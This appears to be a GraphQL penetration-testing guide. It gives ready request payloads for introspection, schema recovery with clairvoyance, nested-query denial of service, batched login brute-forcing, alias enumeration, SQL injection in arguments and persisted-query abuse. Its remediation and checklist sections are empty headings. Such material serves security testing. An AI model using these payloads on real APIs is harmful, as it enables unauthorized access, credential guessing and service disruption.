GraphQL Pentesting

GraphQL APIs offer flexibility but introduce unique attack vectors like introspection abuse, nested query DoS, and batching attacks.

The diagram is wider than this screen — swipe it sideways to read the labels.

Everything after that point is cheap to try, and the six techniques are easy to confuse with one another. Each row below names the request that demonstrates it and the observation that separates a finding from a slow endpoint.

Introspection & Enumeration

Introspection allows you to query the API for its schema. One request answers all of it: types, the query root and the mutation root with their arguments. A GraphQL server that answers this has handed you the whole map.

POST /graphql
Content-Type: application/json

{
  "query": "{ __schema { types { name kind } queryType { fields { name description args { name type { name kind } } } } mutationType { fields { name description args { name type { name kind } } } } } }"
}

Pretty-printed, that is the same single document:

{
  __schema {
    types { name kind }
    queryType {
      fields {
        name
        description
        args { name type { name kind } }
      }
    }
    mutationType {
      fields {
        name
        description
        args { name type { name kind } }
      }
    }
  }
}

Use gq or InQL when you want the schema persisted and diffed between environments:

gq https://api.target.com/graphql --introspect

When introspection is off

GraphQL still leaks schema through field suggestions. Intentionally misspell a field — the server often suggests the correct name:

# Send a query with a typo:
{ usr { id } }

# Server responds with:
# "Did you mean 'user'?"
# This confirms 'user' is a valid type!

# Install clairvoyance
pip3 install clairvoyance

# Reconstruct schema without introspection
python3 -m clairvoyance https://api.target.com/graphql -o schema.json

# With authentication header
python3 -m clairvoyance https://api.target.com/graphql \
  -H 'Authorization: Bearer TOKEN' \
  -o schema.json

GraphQL Specific Attacks

Nested query DoS

Send deeply nested queries to exhaust server resources (Circular Queries).

query {
  user(id: 1) {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                # ... repeat ...
              }
            }
          }
        }
      }
    }
  }
}

Batching attacks

Send multiple queries in a single request to bypass rate limits or brute force credentials. This is the API-specific abuse path: the client controls the batch size, so a per-request limit does not bound the per-batch attempt count.

[
  { "query": "query { login(u: \"admin\", p: \"123456\") { token } }" },
  { "query": "query { login(u: \"admin\", p: \"password\") { token } }" },
  { "query": "query { login(u: \"admin\", p: \"12345678\") { token } }" }
]

Alias overloading

Request the same field multiple times with aliases to cause resource exhaustion — or to turn one request into an enumeration of every object you can reach.

query {
  user1: user(id: 1) { email }
  user2: user(id: 2) { email }
  user3: user(id: 3) { email }
}

Injection

SQL or NoSQL injection can occur within GraphQL arguments.

query {
  user(id: "1' OR 1=1--") {
    username
  }
}

Persisted Query Abuse

Automatic Persisted Queries (APQ) cache queries by hash. If the server accepts arbitrary hashes and executes them, an attacker can register malicious queries that bypass allow-listing.

# Step 1: Send a query hash without the query body
POST /graphql
{
  "extensions": {
    "persistedQuery": {
      "version": 1,
      "sha256Hash": "ATTACKER_CONTROLLED_HASH"
    }
  }
}

# Step 2: If server responds "PersistedQueryNotFound", send with query body
# Server caches it — now the hash maps to your malicious query

Evidence Collection

False Positive Identification

Testing Checklist

Remediation & Defense